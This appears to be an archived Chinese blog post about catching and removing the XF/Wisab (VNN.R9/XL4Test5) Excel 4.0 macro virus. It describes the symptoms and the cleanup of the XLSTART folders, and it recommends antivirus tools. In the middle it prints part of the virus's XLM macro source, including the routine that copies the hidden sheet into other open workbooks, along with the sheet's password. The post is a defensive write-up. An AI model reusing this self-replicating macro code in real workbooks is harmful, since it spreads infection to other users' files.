提醒:本页面将不再更新、维护或者支持,文章、评论所叙述内容存在时效性,涉及技术细节或者软件使用方面不保证能够完全有效可操作,请谨慎参考!

由于工作上要用到VBA宏,为了确保自己编写的未签名宏脚本能够顺利执行,于是将单位那台破机子的宏安全性设置为低(打开Excel直接执行宏脚本)。没想到今天在Excel上中招了。

打开别人传过来的Excel,接下来异常出现了,先是打开一个存在的Excel时会自动跳出一个新建的Book1.xls工作簿,并且打开的Excel状态始终停留在最后一张Sheet表上。如果这时再打开一份Excel,会提示Book1正处于锁定状态,“VNN.R9”正在编辑类似的消息,而且无论你是否改动表,关闭时都会提醒是否保存,选择后才正常关闭随后Book1.xls也自动关闭。 按照网上的办法尝试着清除下面路径目录下的文件:

Book1正处于锁定状态,“VNN.R9”正在编辑
C:\Program Files\Microsoft Office\OFFICE11\STARTUP
C:\Program Files\Microsoft Office\OFFICE11\XLSTART
C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART

结果在 Application Data\Microsoft\Excel\XLSTART 下找到了感染文件,为不带扩展名的Book1文件,比对了下特征值VNN.R9,并且在别的正常的机器下找了下,确定这是一份感染文件,正常机器下不存在这个文件,遂删除,然后手动删除了 Application Data\Microsoft\Excel 下的Excel11.xlb。本来以为万事大吉了,于是调整了Excel宏安全为中,即提示是否运行宏。然后关闭Excel再重新打开,结果出现是否启用宏,我想这是病毒,我选择不启动,然后出现“该工作簿中包含一种无法禁用的宏(Microsoft Excel 4.0版的宏)”,郁闷了,如果选择“是”则必定要启用宏然后才能打开这份Excel,如果选择“否”则无法打开Excel。

由于这份文档比较重要,所以只有选择是,接着病毒又感染了Excel,对了,基本上这个宏病毒活动的期间,只要你打开一份Excel,它就感染一份,所以尽量少打开新的Excel文件。

于此同时我对这个宏病毒产生了兴趣,决定在正法它前先研究一下,先上网尝试着搜索了下关于该病毒的资料,找到excelhome的 《EXCEL表会自动弹出book1,删除XLSTART\Book1 也无法解决!》 帖子,根据下面高手的提示找到了病毒代码。

首先在 格式-工作表-取消隐藏,然后原先隐藏的XL4Test5表会现形。这时打开这张表就会看到部分病毒的脚本源代码:

XL4Test5病毒宏脚本代码
**Set Our Values and Paths**
=SET.VALUE($A$5,(GET.WORKSPACE(23) & "\Book1."))
=SET.NAME("Document_array", DOCUMENTS())
=SET.VALUE($A$3, INDEX(Document_array,2))
=SET.VALUE($A$4, INDEX(Document_array,1))
=SET.VALUE($A$6,GET.DOCUMENT(3,"["&A3&"]"&"XL4Test5"))
=RETURN()

**Infect Workbook**
=RUN(C4)
=ERROR(TRUE,Bust)
=IF(A6=3)
=RETURN()
=ERROR(FALSE)
=ACTIVATE.PREV()
=RUN(C4)
=WORKBOOK.COPY("XL4Test5",A3)
=END.IF()
=RETURN()

**Auto and On Sheet Starts Here**
=RUN(C3)
=OPTIONS.GENERAL(,,,,,,"VNN.R9")
=ERROR(TRUE, Continue)
=WORKBOOK.HIDE("XL4Test5",0)
=IF(A6=3)
=RETURN()
=END.IF()
=ERROR(FALSE)
=RUN(A10)
=ON.TIME("5:00:00 PM", "!?.")
=ON.TIME("11:30:00 AM", ">?.")
=ON.SHEET(,"Test5",TRUE)
=RETURN()

这张表受到密码保护,在 工具-保护-撤销工作表保护 会提示输入密码,根据下面的帖子提示,有人找到密码是R97,输入密码,然后删除这张表,同时在 插入-名称-定义,把所有没有用的名称都删除掉,然后再次清除之前3个路径下的文件,基本可以删除这个宏病毒。

当然我 不建议 你像上面那样清除病毒,一是操作繁琐,如果多个文件感染则要一个一个清理,而且容易反复;二是操作不当容易导致文档打不开。其实微软的官方文档已经指出这个宏病毒的相关信息: 《Research Virus:XF/Wisab》 ,微软将其命名为XF/Wisab病毒,并给出了防御和解决方案。当然最好的方法就是安装个最新的杀毒软件,然后一切交给杀毒软件来处理,微软也 提供了清理工具Microsoft Safety Scanner 。实际上这个病毒出现算是比较早的了,微软公告也是2007年发布关于这个病毒的资料的,那么现在主流的杀毒软件应该能够处理这类病毒的,偏偏我这台机器上的杀毒软件Comodo Internet Security(CIS)对其熟视无睹。看来毛豆(Comodo)的杀毒能力还是有待加强的,不过其HIPS还是不错的。

最后老老实实的下载了个某国产杀毒软件,然后扫描全盘,解决了这个病毒。看来以后要记得运行完自己编写的VBA后及时提高宏安全性。